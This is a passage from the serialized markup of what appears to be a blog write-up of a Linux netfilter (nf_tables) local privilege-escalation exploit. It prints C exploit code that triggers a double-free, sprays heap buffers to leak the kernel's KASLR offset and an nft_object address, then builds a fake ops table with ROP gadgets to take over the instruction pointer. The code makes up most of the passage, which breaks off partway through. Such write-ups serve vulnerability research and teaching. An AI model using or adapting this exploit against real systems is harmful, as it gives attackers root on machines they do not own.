",{"type":23,"tag":481,"props":52515,"children":52516},{"style":514},[52517],{"type":28,"value":623},{"type":23,"tag":481,"props":52519,"children":52520},{"style":525},[52521],{"type":28,"value":52230},{"type":23,"tag":481,"props":52523,"children":52524},{"class":483,"line":21151},[52525,52530,52534,52538,52542,52546],{"type":23,"tag":481,"props":52526,"children":52527},{"style":610},[52528],{"type":28,"value":52529}," nftnl_set_elem_add",{"type":23,"tag":481,"props":52531,"children":52532},{"style":525},[52533],{"type":28,"value":52272},{"type":23,"tag":481,"props":52535,"children":52536},{"style":508},[52537],{"type":28,"value":49590},{"type":23,"tag":481,"props":52539,"children":52540},{"style":525},[52541],{"type":28,"value":1269},{"type":23,"tag":481,"props":52543,"children":52544},{"style":551},[52545],{"type":28,"value":14788},{"type":23,"tag":481,"props":52547,"children":52548},{"style":525},[52549],{"type":28,"value":1288},{"type":23,"tag":481,"props":52551,"children":52552},{"class":483,"line":21159},[52553],{"type":23,"tag":481,"props":52554,"children":52555},{"style":525},[52556],{"type":28,"value":7803},{"type":23,"tag":481,"props":52558,"children":52559},{"class":483,"line":21168},[52560],{"type":23,"tag":481,"props":52561,"children":52562},{"emptyLinePlaceholder":15},[52563],{"type":28,"value":1210},{"type":23,"tag":481,"props":52565,"children":52566},{"class":483,"line":21244},[52567],{"type":23,"tag":481,"props":52568,"children":52569},{"style":525},[52570],{"type":28,"value":52571}," // double-free commited elems\n",{"type":23,"tag":481,"props":52573,"children":52574},{"class":483,"line":21277},[52575],{"type":23,"tag":481,"props":52576,"children":52577},{"style":525},[52578],{"type":28,"value":7803},{"type":23,"tag":481,"props":52580,"children":52581},{"class":483,"line":21285},[52582,52587,52591],{"type":23,"tag":481,"props":52583,"children":52584},{"style":525},[52585],{"type":28,"value":52586}," nftnl_set_free(",{"type":23,"tag":481,"props":52588,"children":52589},{"style":943},[52590],{"type":28,"value":48545},{"type":23,"tag":481,"props":52592,"children":52593},{"style":525},[52594],{"type":28,"value":1366},{"type":23,"tag":481,"props":52596,"children":52597},{"class":483,"line":21293},[52598],{"type":23,"tag":481,"props":52599,"children":52600},{"style":525},[52601],{"type":28,"value":1443},{"type":23,"tag":481,"props":52603,"children":52604},{"class":483,"line":21330},[52605],{"type":23,"tag":481,"props":52606,"children":52607},{"style":525},[52608],{"type":28,"value":7803},{"type":23,"tag":7092,"props":52610,"children":52612},{"id":52611},"leaking-kaslr",[52613],{"type":28,"value":52614},"Leaking KASLR",{"type":23,"tag":24,"props":52616,"children":52617},{},[52618,52620,52626,52628,52633,52635,52641,52643,52649,52651],{"type":28,"value":52619},"Tables contain an outline user data buffer ",{"type":23,"tag":64,"props":52621,"children":52623},{"className":52622},[],[52624],{"type":28,"value":52625},"udata",{"type":28,"value":52627}," that we can both read and write. By allocating a ",{"type":23,"tag":64,"props":52629,"children":52631},{"className":52630},[],[52632],{"type":28,"value":52625},{"type":28,"value":52634}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":64,"props":52636,"children":52638},{"className":52637},[],[52639],{"type":28,"value":52640},"nft_object",{"type":28,"value":52642}," we can leak the ",{"type":23,"tag":64,"props":52644,"children":52646},{"className":52645},[],[52647],{"type":28,"value":52648},"->ops",{"type":28,"value":52650}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":149,"props":52652,"children":52654},{"alt":48104,"src":52653},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":435,"props":52656,"children":52658},{"className":26623,"code":52657,"language":26625,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[52659],{"type":23,"tag":64,"props":52660,"children":52661},{"__ignoreMap":7},[52662,52669,52677,52712,52719,52727,52752,52779,52830,52837,52870,52896,52903,52968,52975,52996,53003,53010,53018,53026,53047,53076,53088,53132,53188],{"type":23,"tag":481,"props":52663,"children":52664},{"class":483,"line":484},[52665],{"type":23,"tag":481,"props":52666,"children":52667},{"style":525},[52668],{"type":28,"value":7803},{"type":23,"tag":481,"props":52670,"children":52671},{"class":483,"line":351},[52672],{"type":23,"tag":481,"props":52673,"children":52674},{"style":525},[52675],{"type":28,"value":52676}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":481,"props":52678,"children":52679},{"class":483,"line":531},[52680,52685,52689,52694,52699,52704,52708],{"type":23,"tag":481,"props":52681,"children":52682},{"style":525},[52683],{"type":28,"value":52684}," udata_spray(",{"type":23,"tag":481,"props":52686,"children":52687},{"style":943},[52688],{"type":28,"value":51816},{"type":23,"tag":481,"props":52690,"children":52691},{"style":525},[52692],{"type":28,"value":52693},", 0",{"type":23,"tag":481,"props":52695,"children":52696},{"style":943},[52697],{"type":28,"value":52698},"xe8",{"type":23,"tag":481,"props":52700,"children":52701},{"style":525},[52702],{"type":28,"value":52703},", 0, 3, ",{"type":23,"tag":481,"props":52705,"children":52706},{"style":943},[52707],{"type":28,"value":52022},{"type":23,"tag":481,"props":52709,"children":52710},{"style":525},[52711],{"type":28,"value":1366},{"type":23,"tag":481,"props":52713,"children":52714},{"class":483,"line":567},[52715],{"type":23,"tag":481,"props":52716,"children":52717},{"emptyLinePlaceholder":15},[52718],{"type":28,"value":1210},{"type":23,"tag":481,"props":52720,"children":52721},{"class":483,"line":678},[52722],{"type":23,"tag":481,"props":52723,"children":52724},{"style":488},[52725],{"type":28,"value":52726}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":481,"props":52728,"children":52729},{"class":483,"line":784},[52730,52735,52740,52744,52748],{"type":23,"tag":481,"props":52731,"children":52732},{"style":497},[52733],{"type":28,"value":52734}," char",{"type":23,"tag":481,"props":52736,"children":52737},{"style":508},[52738],{"type":28,"value":52739}," spray_name",{"type":23,"tag":481,"props":52741,"children":52742},{"style":525},[52743],{"type":28,"value":1269},{"type":23,"tag":481,"props":52745,"children":52746},{"style":551},[52747],{"type":28,"value":38366},{"type":23,"tag":481,"props":52749,"children":52750},{"style":525},[52751],{"type":28,"value":29089},{"type":23,"tag":481,"props":52753,"children":52754},{"class":483,"line":812},[52755,52759,52763,52767,52771,52775],{"type":23,"tag":481,"props":52756,"children":52757},{"style":497},[52758],{"type":28,"value":52734},{"type":23,"tag":481,"props":52760,"children":52761},{"style":514},[52762],{"type":28,"value":7301},{"type":23,"tag":481,"props":52764,"children":52765},{"style":508},[52766],{"type":28,"value":52625},{"type":23,"tag":481,"props":52768,"children":52769},{"style":525},[52770],{"type":28,"value":1269},{"type":23,"tag":481,"props":52772,"children":52773},{"style":551},[52774],{"type":28,"value":14788},{"type":23,"tag":481,"props":52776,"children":52777},{"style":525},[52778],{"type":28,"value":29089},{"type":23,"tag":481,"props":52780,"children":52781},{"class":483,"line":825},[52782,52786,52790,52794,52798,52802,52806,52810,52814,52818,52822,52826],{"type":23,"tag":481,"props":52783,"children":52784},{"style":535},[52785],{"type":28,"value":538},{"type":23,"tag":481,"props":52787,"children":52788},{"style":525},[52789],{"type":28,"value":578},{"type":23,"tag":481,"props":52791,"children":52792},{"style":497},[52793],{"type":28,"value":16543},{"type":23,"tag":481,"props":52795,"children":52796},{"style":525},[52797],{"type":28,"value":52070},{"type":23,"tag":481,"props":52799,"children":52800},{"style":514},[52801],{"type":28,"value":603},{"type":23,"tag":481,"props":52803,"children":52804},{"style":551},[52805],{"type":28,"value":554},{"type":23,"tag":481,"props":52807,"children":52808},{"style":525},[52809],{"type":28,"value":48759},{"type":23,"tag":481,"props":52811,"children":52812},{"style":514},[52813],{"type":28,"value":3282},{"type":23,"tag":481,"props":52815,"children":52816},{"style":551},[52817],{"type":28,"value":16595},{"type":23,"tag":481,"props":52819,"children":52820},{"style":525},[52821],{"type":28,"value":48790},{"type":23,"tag":481,"props":52823,"children":52824},{"style":514},[52825],{"type":28,"value":48795},{"type":23,"tag":481,"props":52827,"children":52828},{"style":525},[52829],{"type":28,"value":675},{"type":23,"tag":481,"props":52831,"children":52832},{"class":483,"line":843},[52833],{"type":23,"tag":481,"props":52834,"children":52835},{"style":525},[52836],{"type":28,"value":26700},{"type":23,"tag":481,"props":52838,"children":52839},{"class":483,"line":864},[52840,52845,52850,52855,52860,52865],{"type":23,"tag":481,"props":52841,"children":52842},{"style":610},[52843],{"type":28,"value":52844}," snprintf",{"type":23,"tag":481,"props":52846,"children":52847},{"style":525},[52848],{"type":28,"value":52849},"(spray_name, ",{"type":23,"tag":481,"props":52851,"children":52852},{"style":497},[52853],{"type":28,"value":52854},"sizeof",{"type":23,"tag":481,"props":52856,"children":52857},{"style":525},[52858],{"type":28,"value":52859},"(spray_name), ",{"type":23,"tag":481,"props":52861,"children":52862},{"style":1805},[52863],{"type":28,"value":52864},"\"spray-%i\"",{"type":23,"tag":481,"props":52866,"children":52867},{"style":525},[52868],{"type":28,"value":52869},", i);\n",{"type":23,"tag":481,"props":52871,"children":52872},{"class":483,"line":873},[52873,52878,52882,52886,52891],{"type":23,"tag":481,"props":52874,"children":52875},{"style":508},[52876],{"type":28,"value":52877}," udata",{"type":23,"tag":481,"props":52879,"children":52880},{"style":525},[52881],{"type":28,"value":52122},{"type":23,"tag":481,"props":52883,"children":52884},{"style":514},[52885],{"type":28,"value":603},{"type":23,"tag":481,"props":52887,"children":52888},{"style":610},[52889],{"type":28,"value":52890}," getudata",{"type":23,"tag":481,"props":52892,"children":52893},{"style":525},[52894],{"type":28,"value":52895},"(nl, spray_name);\n",{"type":23,"tag":481,"props":52897,"children":52898},{"class":483,"line":1125},[52899],{"type":23,"tag":481,"props":52900,"children":52901},{"style":525},[52902],{"type":28,"value":879},{"type":23,"tag":481,"props":52904,"children":52905},{"class":483,"line":1142},[52906,52910,52914,52918,52922,52926,52930,52934,52938,52942,52947,52951,52955,52959,52963],{"type":23,"tag":481,"props":52907,"children":52908},{"style":535},[52909],{"type":28,"value":9766},{"type":23,"tag":481,"props":52911,"children":52912},{"style":525},[52913],{"type":28,"value":578},{"type":23,"tag":481,"props":52915,"children":52916},{"style":508},[52917],{"type":28,"value":52625},{"type":23,"tag":481,"props":52919,"children":52920},{"style":525},[52921],{"type":28,"value":1269},{"type":23,"tag":481,"props":52923,"children":52924},{"style":551},[52925],{"type":28,"value":1568},{"type":23,"tag":481,"props":52927,"children":52928},{"style":525},[52929],{"type":28,"value":46483},{"type":23,"tag":481,"props":52931,"children":52932},{"style":551},[52933],{"type":28,"value":1568},{"type":23,"tag":481,"props":52935,"children":52936},{"style":525},[52937],{"type":28,"value":6141},{"type":23,"tag":481,"props":52939,"children":52940},{"style":514},[52941],{"type":28,"value":6055},{"type":23,"tag":481,"props":52943,"children":52944},{"style":508},[52945],{"type":28,"value":52946}," udata",{"type":23,"tag":481,"props":52948,"children":52949},{"style":525},[52950],{"type":28,"value":1269},{"type":23,"tag":481,"props":52952,"children":52953},{"style":551},[52954],{"type":28,"value":637},{"type":23,"tag":481,"props":52956,"children":52957},{"style":525},[52958],{"type":28,"value":46483},{"type":23,"tag":481,"props":52960,"children":52961},{"style":551},[52962],{"type":28,"value":1568},{"type":23,"tag":481,"props":52964,"children":52965},{"style":525},[52966],{"type":28,"value":52967},"])\n",{"type":23,"tag":481,"props":52969,"children":52970},{"class":483,"line":1159},[52971],{"type":23,"tag":481,"props":52972,"children":52973},{"style":525},[52974],{"type":28,"value":26700},{"type":23,"tag":481,"props":52976,"children":52977},{"class":483,"line":1172},[52978,52983,52987,52992],{"type":23,"tag":481,"props":52979,"children":52980},{"style":610},[52981],{"type":28,"value":52982}," puts",{"type":23,"tag":481,"props":52984,"children":52985},{"style":525},[52986],{"type":28,"value":618},{"type":23,"tag":481,"props":52988,"children":52989},{"style":1805},[52990],{"type":28,"value":52991},"\"[+] got duplicated table\"",{"type":23,"tag":481,"props":52993,"children":52994},{"style":525},[52995],{"type":28,"value":1366},{"type":23,"tag":481,"props":52997,"children":52998},{"class":483,"line":1181},[52999],{"type":23,"tag":481,"props":53000,"children":53001},{"style":525},[53002],{"type":28,"value":879},{"type":23,"tag":481,"props":53004,"children":53005},{"class":483,"line":1204},[53006],{"type":23,"tag":481,"props":53007,"children":53008},{"emptyLinePlaceholder":15},[53009],{"type":28,"value":1210},{"type":23,"tag":481,"props":53011,"children":53012},{"class":483,"line":1213},[53013],{"type":23,"tag":481,"props":53014,"children":53015},{"style":488},[53016],{"type":28,"value":53017}," // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":481,"props":53019,"children":53020},{"class":483,"line":1222},[53021],{"type":23,"tag":481,"props":53022,"children":53023},{"style":488},[53024],{"type":28,"value":53025}," // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":481,"props":53027,"children":53028},{"class":483,"line":1291},[53029,53034,53038,53043],{"type":23,"tag":481,"props":53030,"children":53031},{"style":610},[53032],{"type":28,"value":53033}," puts",{"type":23,"tag":481,"props":53035,"children":53036},{"style":525},[53037],{"type":28,"value":618},{"type":23,"tag":481,"props":53039,"children":53040},{"style":1805},[53041],{"type":28,"value":53042},"\"[*] Info leak\"",{"type":23,"tag":481,"props":53044,"children":53045},{"style":525},[53046],{"type":28,"value":1366},{"type":23,"tag":481,"props":53048,"children":53049},{"class":483,"line":1299},[53050,53055,53060,53064,53068,53072],{"type":23,"tag":481,"props":53051,"children":53052},{"style":610},[53053],{"type":28,"value":53054}," deludata_spray",{"type":23,"tag":481,"props":53056,"children":53057},{"style":525},[53058],{"type":28,"value":53059},"(nl, ",{"type":23,"tag":481,"props":53061,"children":53062},{"style":551},[53063],{"type":28,"value":1568},{"type":23,"tag":481,"props":53065,"children":53066},{"style":525},[53067],{"type":28,"value":588},{"type":23,"tag":481,"props":53069,"children":53070},{"style":551},[53071],{"type":28,"value":1558},{"type":23,"tag":481,"props":53073,"children":53074},{"style":525},[53075],{"type":28,"value":1366},{"type":23,"tag":481,"props":53077,"children":53078},{"class":483,"line":1329},[53079,53084],{"type":23,"tag":481,"props":53080,"children":53081},{"style":610},[53082],{"type":28,"value":53083}," wait_destroyer",{"type":23,"tag":481,"props":53085,"children":53086},{"style":525},[53087],{"type":28,"value":1201},{"type":23,"tag":481,"props":53089,"children":53090},{"class":483,"line":1337},[53091,53096,53100,53104,53108,53112,53116,53120,53124,53128],{"type":23,"tag":481,"props":53092,"children":53093},{"style":610},[53094],{"type":28,"value":53095}," obj_spray",{"type":23,"tag":481,"props":53097,"children":53098},{"style":525},[53099],{"type":28,"value":53059},{"type":23,"tag":481,"props":53101,"children":53102},{"style":551},[53103],{"type":28,"value":1568},{"type":23,"tag":481,"props":53105,"children":53106},{"style":525},[53107],{"type":28,"value":588},{"type":23,"tag":481,"props":53109,"children":53110},{"style":551},[53111],{"type":28,"value":1558},{"type":23,"tag":481,"props":53113,"children":53114},{"style":525},[53115],{"type":28,"value":588},{"type":23,"tag":481,"props":53117,"children":53118},{"style":497},[53119],{"type":28,"value":52022},{"type":23,"tag":481,"props":53121,"children":53122},{"style":525},[53123],{"type":28,"value":588},{"type":23,"tag":481,"props":53125,"children":53126},{"style":551},[53127],{"type":28,"value":1568},{"type":23,"tag":481,"props":53129,"children":53130},{"style":525},[53131],{"type":28,"value":1366},{"type":23,"tag":481,"props":53133,"children":53134},{"class":483,"line":1369},[53135,53140,53144,53149,53153,53157,53162,53166,53170,53175,53179,53184],{"type":23,"tag":481,"props":53136,"children":53137},{"style":497},[53138],{"type":28,"value":53139}," uint64_t",{"type":23,"tag":481,"props":53141,"children":53142},{"style":514},[53143],{"type":28,"value":7301},{"type":23,"tag":481,"props":53145,"children":53146},{"style":525},[53147],{"type":28,"value":53148},"fake_obj ",{"type":23,"tag":481,"props":53150,"children":53151},{"style":514},[53152],{"type":28,"value":603},{"type":23,"tag":481,"props":53154,"children":53155},{"style":525},[53156],{"type":28,"value":578},{"type":23,"tag":481,"props":53158,"children":53159},{"style":497},[53160],{"type":28,"value":53161},"uint64_t",{"type":23,"tag":481,"props":53163,"children":53164},{"style":514},[53165],{"type":28,"value":7301},{"type":23,"tag":481,"props":53167,"children":53168},{"style":525},[53169],{"type":28,"value":642},{"type":23,"tag":481,"props":53171,"children":53172},{"style":610},[53173],{"type":28,"value":53174},"getudata",{"type":23,"tag":481,"props":53176,"children":53177},{"style":525},[53178],{"type":28,"value":53059},{"type":23,"tag":481,"props":53180,"children":53181},{"style":1805},[53182],{"type":28,"value":53183},"\"spray-2\"",{"type":23,"tag":481,"props":53185,"children":53186},{"style":525},[53187],{"type":28,"value":1366},{"type":23,"tag":481,"props":53189,"children":53190},{"class":483,"line":1377},[53191],{"type":23,"tag":481,"props":53192,"children":53193},{"style":525},[53194],{"type":28,"value":7803},{"type":23,"tag":7092,"props":53196,"children":53198},{"id":53197},"leaking-self-pointer-of-nft_object",[53199,53201],{"type":28,"value":53200},"Leaking self pointer of ",{"type":23,"tag":64,"props":53202,"children":53204},{"className":53203},[],[53205],{"type":28,"value":52640},{"type":23,"tag":24,"props":53207,"children":53208},{},[53209,53211,53216,53218,53223,53225,53230,53232,53238],{"type":28,"value":53210},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":64,"props":53212,"children":53214},{"className":53213},[],[53215],{"type":28,"value":52640},{"type":28,"value":53217}," to get its own address. This is possible because the ",{"type":23,"tag":64,"props":53219,"children":53221},{"className":53220},[],[53222],{"type":28,"value":52640},{"type":28,"value":53224}," has a ",{"type":23,"tag":64,"props":53226,"children":53228},{"className":53227},[],[53229],{"type":28,"value":52625},{"type":28,"value":53231}," pointer (similar to ",{"type":23,"tag":64,"props":53233,"children":53235},{"className":53234},[],[53236],{"type":28,"value":53237},"table->udata",{"type":28,"value":53239}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":53241,"children":53242},{},[53243,53244,53249,53251,53257,53259,53264,53266,53272,53274,53280,53282,53287,53289,53294,53296,53301,53303],{"type":28,"value":14104},{"type":23,"tag":64,"props":53245,"children":53247},{"className":53246},[],[53248],{"type":28,"value":52640},{"type":28,"value":53250}," struct also contains a ",{"type":23,"tag":64,"props":53252,"children":53254},{"className":53253},[],[53255],{"type":28,"value":53256},"list_head",{"type":28,"value":53258}," inserted in a circular list containing all ",{"type":23,"tag":64,"props":53260,"children":53262},{"className":53261},[],[53263],{"type":28,"value":52640},{"type":28,"value":53265},"'s that belong to a given ",{"type":23,"tag":64,"props":53267,"children":53269},{"className":53268},[],[53270],{"type":28,"value":53271},"table",{"type":28,"value":53273},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":64,"props":53275,"children":53277},{"className":53276},[],[53278],{"type":28,"value":53279},"table->list.next",{"type":28,"value":53281}," pointer in the ",{"type":23,"tag":64,"props":53283,"children":53285},{"className":53284},[],[53286],{"type":28,"value":52640},{"type":28,"value":53288}," will point back to the ",{"type":23,"tag":64,"props":53290,"children":53292},{"className":53291},[],[53293],{"type":28,"value":53256},{"type":28,"value":53295}," contained in the ",{"type":23,"tag":64,"props":53297,"children":53299},{"className":53298},[],[53300],{"type":28,"value":53271},{"type":28,"value":53302}," and vice-versa.\n",{"type":23,"tag":149,"props":53304,"children":53306},{"alt":48104,"src":53305},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":53308,"children":53309},{},[53310,53312,53317,53319,53324,53326,53332,53334,53339,53340,53345,53347,53352,53354,53359],{"type":28,"value":53311},"In short, that means that if we swap the ",{"type":23,"tag":64,"props":53313,"children":53315},{"className":53314},[],[53316],{"type":28,"value":52625},{"type":28,"value":53318}," pointer of the ",{"type":23,"tag":64,"props":53320,"children":53322},{"className":53321},[],[53323],{"type":28,"value":52640},{"type":28,"value":53325}," with its own ",{"type":23,"tag":64,"props":53327,"children":53329},{"className":53328},[],[53330],{"type":28,"value":53331},"list.next",{"type":28,"value":53333}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":64,"props":53335,"children":53337},{"className":53336},[],[53338],{"type":28,"value":52640},{"type":28,"value":49865},{"type":23,"tag":64,"props":53341,"children":53343},{"className":53342},[],[53344],{"type":28,"value":53256},{"type":28,"value":53346}," which is also the start of the ",{"type":23,"tag":64,"props":53348,"children":53350},{"className":53349},[],[53351],{"type":28,"value":52640},{"type":28,"value":53353}," itself.\n",{"type":23,"tag":2875,"props":53355,"children":53356},{},[53357],{"type":28,"value":53358},"NOTE:",{"type":28,"value":53360}," This is a novel small trick.",{"type":23,"tag":435,"props":53362,"children":53364},{"className":26623,"code":53363,"language":26625,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[53365],{"type":23,"tag":64,"props":53366,"children":53367},{"__ignoreMap":7},[53368,53375,53383,53396,53444,53471,53482,53520,53527,53556,53586],{"type":23,"tag":481,"props":53369,"children":53370},{"class":483,"line":484},[53371],{"type":23,"tag":481,"props":53372,"children":53373},{"style":525},[53374],{"type":28,"value":7803},{"type":23,"tag":481,"props":53376,"children":53377},{"class":483,"line":351},[53378],{"type":23,"tag":481,"props":53379,"children":53380},{"style":525},[53381],{"type":28,"value":53382}," // Leak nft_object ptr using table linked list\n",{"type":23,"tag":481,"props":53384,"children":53385},{"class":483,"line":531},[53386,53391],{"type":23,"tag":481,"props":53387,"children":53388},{"style":525},[53389],{"type":28,"value":53390}," fake_obj[8] = 8;",{"type":23,"tag":481,"props":53392,"children":53393},{"style":488},[53394],{"type":28,"value":53395}," // ulen = 8\n",{"type":23,"tag":481,"props":53397,"children":53398},{"class":483,"line":567},[53399,53404,53408,53413,53417,53421,53426,53430,53434,53439],{"type":23,"tag":481,"props":53400,"children":53401},{"style":508},[53402],{"type":28,"value":53403}," fake_obj",{"type":23,"tag":481,"props":53405,"children":53406},{"style":525},[53407],{"type":28,"value":1269},{"type":23,"tag":481,"props":53409,"children":53410},{"style":551},[53411],{"type":28,"value":53412},"9",{"type":23,"tag":481,"props":53414,"children":53415},{"style":525},[53416],{"type":28,"value":6141},{"type":23,"tag":481,"props":53418,"children":53419},{"style":514},[53420],{"type":28,"value":603},{"type":23,"tag":481,"props":53422,"children":53423},{"style":508},[53424],{"type":28,"value":53425}," fake_obj",{"type":23,"tag":481,"props":53427,"children":53428},{"style":525},[53429],{"type":28,"value":1269},{"type":23,"tag":481,"props":53431,"children":53432},{"style":551},[53433],{"type":28,"value":1568},{"type":23,"tag":481,"props":53435,"children":53436},{"style":525},[53437],{"type":28,"value":53438},"];",{"type":23,"tag":481,"props":53440,"children":53441},{"style":488},[53442],{"type":28,"value":53443}," // udata = list->next\n",{"type":23,"tag":481,"props":53445,"children":53446},{"class":483,"line":678},[53447,53451,53455,53459,53463,53467],{"type":23,"tag":481,"props":53448,"children":53449},{"style":610},[53450],{"type":28,"value":53054},{"type":23,"tag":481,"props":53452,"children":53453},{"style":525},[53454],{"type":28,"value":53059},{"type":23,"tag":481,"props":53456,"children":53457},{"style":551},[53458],{"type":28,"value":637},{"type":23,"tag":481,"props":53460,"children":53461},{"style":525},[53462],{"type":28,"value":588},{"type":23,"tag":481,"props":53464,"children":53465},{"style":551},[53466],{"type":28,"value":1558},{"type":23,"tag":481,"props":53468,"children":53469},{"style":525},[53470],{"type":28,"value":1366},{"type":23,"tag":481,"props":53472,"children":53473},{"class":483,"line":784},[53474,53478],{"type":23,"tag":481,"props":53475,"children":53476},{"style":610},[53477],{"type":28,"value":53083},{"type":23,"tag":481,"props":53479,"children":53480},{"style":525},[53481],{"type":28,"value":1201},{"type":23,"tag":481,"props":53483,"children":53484},{"class":483,"line":812},[53485,53490,53494,53499,53503,53507,53511,53515],{"type":23,"tag":481,"props":53486,"children":53487},{"style":610},[53488],{"type":28,"value":53489}," udata_spray",{"type":23,"tag":481,"props":53491,"children":53492},{"style":525},[53493],{"type":28,"value":53059},{"type":23,"tag":481,"props":53495,"children":53496},{"style":551},[53497],{"type":28,"value":53498},"0xe8",{"type":23,"tag":481,"props":53500,"children":53501},{"style":525},[53502],{"type":28,"value":588},{"type":23,"tag":481,"props":53504,"children":53505},{"style":551},[53506],{"type":28,"value":14788},{"type":23,"tag":481,"props":53508,"children":53509},{"style":525},[53510],{"type":28,"value":588},{"type":23,"tag":481,"props":53512,"children":53513},{"style":551},[53514],{"type":28,"value":1558},{"type":23,"tag":481,"props":53516,"children":53517},{"style":525},[53518],{"type":28,"value":53519},", fake_obj);\n",{"type":23,"tag":481,"props":53521,"children":53522},{"class":483,"line":825},[53523],{"type":23,"tag":481,"props":53524,"children":53525},{"emptyLinePlaceholder":15},[53526],{"type":28,"value":1210},{"type":23,"tag":481,"props":53528,"children":53529},{"class":483,"line":843},[53530,53535,53539,53544,53548,53552],{"type":23,"tag":481,"props":53531,"children":53532},{"style":610},[53533],{"type":28,"value":53534}," get_obj",{"type":23,"tag":481,"props":53536,"children":53537},{"style":525},[53538],{"type":28,"value":53059},{"type":23,"tag":481,"props":53540,"children":53541},{"style":1805},[53542],{"type":28,"value":53543},"\"spray-0\"",{"type":23,"tag":481,"props":53545,"children":53546},{"style":525},[53547],{"type":28,"value":588},{"type":23,"tag":481,"props":53549,"children":53550},{"style":497},[53551],{"type":28,"value":1539},{"type":23,"tag":481,"props":53553,"children":53554},{"style":525},[53555],{"type":28,"value":1366},{"type":23,"tag":481,"props":53557,"children":53558},{"class":483,"line":864},[53559,53564,53568,53573,53577,53581],{"type":23,"tag":481,"props":53560,"children":53561},{"style":610},[53562],{"type":28,"value":53563}," printf",{"type":23,"tag":481,"props":53565,"children":53566},{"style":525},[53567],{"type":28,"value":618},{"type":23,"tag":481,"props":53569,"children":53570},{"style":1805},[53571],{"type":28,"value":53572},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":481,"props":53574,"children":53575},{"style":45898},[53576],{"type":28,"value":45901},{"type":23,"tag":481,"props":53578,"children":53579},{"style":1805},[53580],{"type":28,"value":17557},{"type":23,"tag":481,"props":53582,"children":53583},{"style":525},[53584],{"type":28,"value":53585},", obj_ptr);\n",{"type":23,"tag":481,"props":53587,"children":53588},{"class":483,"line":873},[53589],{"type":23,"tag":481,"props":53590,"children":53591},{"style":525},[53592],{"type":28,"value":7803},{"type":23,"tag":7092,"props":53594,"children":53596},{"id":53595},"hijacking-control-flow",[53597],{"type":28,"value":53598},"Hijacking control-flow",{"type":23,"tag":24,"props":53600,"children":53601},{},[53602,53604,53609,53611,53616,53618,53623,53625,53630,53632,53637,53639],{"type":28,"value":53603},"To hijack control-flow, we can use ",{"type":23,"tag":64,"props":53605,"children":53607},{"className":53606},[],[53608],{"type":28,"value":52640},{"type":28,"value":53610}," once again. The ",{"type":23,"tag":64,"props":53612,"children":53614},{"className":53613},[],[53615],{"type":28,"value":52640},{"type":28,"value":53617}," struct has an ",{"type":23,"tag":64,"props":53619,"children":53621},{"className":53620},[],[53622],{"type":28,"value":50196},{"type":28,"value":53624}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":64,"props":53626,"children":53628},{"className":53627},[],[53629],{"type":28,"value":50196},{"type":28,"value":53631}," pointer with the ",{"type":23,"tag":64,"props":53633,"children":53635},{"className":53634},[],[53636],{"type":28,"value":52625},{"type":28,"value":53638}," pointer, taking control of the pointer table.\n",{"type":23,"tag":149,"props":53640,"children":53642},{"alt":48104,"src":53641},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":435,"props":53644,"children":53646},{"className":26623,"code":53645,"language":26625,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, 